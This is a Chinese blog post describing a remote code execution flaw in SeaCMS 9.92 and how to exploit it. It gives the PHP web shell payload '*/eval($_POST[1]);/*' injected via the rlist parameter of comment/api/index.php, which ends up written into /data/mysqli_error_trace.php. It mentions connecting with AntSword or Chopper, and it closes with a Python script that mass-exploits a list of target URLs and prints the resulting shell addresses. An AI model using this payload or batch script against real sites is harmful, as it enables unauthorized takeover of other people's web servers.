浅谈seacms的getshell

素颜马尾好姑娘i 2023-10-07 13:23 17阅读 0赞

## 最近几天一直在研究对cms的get shell，刚好看到几篇文章是关于对seacms代码审计，所以尝试写一个exp来对seacms进行getshell【seacms版本为9.92】 ##

### 0x001-出现漏洞的代码 ###

**关键在于$rlist这个变量是可控的，因为下图目录在comment/api/index.php**  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI_size_16_color_FFFFFF_t_70]  
**在include/sql.class.php文件下有个重大漏洞，设置了一个储存报错内容的文件。**  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI_size_16_color_FFFFFF_t_70 1]  
![在这里插入图片描述][20200421120841175.png]

**在include/filter.inc.php 文件下，将三种请求方式注册了全局变量**  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI_size_16_color_FFFFFF_t_70 2]

### 0x002-漏洞利用 ###

**构造的payload:`*/eval($_POST[1]);/*`**  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI_size_16_color_FFFFFF_t_70 3]

**然后一句话木马会写进/data/mysqli\_error\_trace.php文件中**  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI_size_16_color_FFFFFF_t_70 4]

**利用蚁剑或者菜刀连接成功**  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI_size_16_color_FFFFFF_t_70 5]

### 0x003-exp脚本 ###

**导入seacms的url，批量进行getshell**

import requests
    import re
    urls = open("url.txt","r")
    a = []
    for url in urls:
        url1 = url.strip()
        a.append(url1)
    urls.close()
    aa = list(set(a))
    with open("url.txt","w") as f:
        result = "\n".join(aa)
        f.write(result)
    urls = open("url.txt", "r")
    exp = '/comment/api/index.php?gid=1&page=2&rlist[]=*/eval($_POST[1]);/*'
    
    for url in urls:
        try:
            target = url.strip() + exp
            html = requests.get(target).text
            if "seacms" in html:
                print(target)
                print("getshell地址："+url+"/data/mysqli_error_trace.php")
    
        except Exception as e:
            pass

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20200421112654771.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI=,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20200421120736880.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI=,size_16,color_FFFFFF,t_70
[20200421120841175.png]: https://img-blog.csdnimg.cn/20200421120841175.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20200421122703455.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI=,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI_size_16_color_FFFFFF_t_70 3]: https://img-blog.csdnimg.cn/20200421194650510.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI=,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI_size_16_color_FFFFFF_t_70 4]: https://img-blog.csdnimg.cn/2020042119482356.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI=,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI_size_16_color_FFFFFF_t_70 5]: https://img-blog.csdnimg.cn/20200421194951304.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3hmNTU1ZXI=,size_16,color_FFFFFF,t_70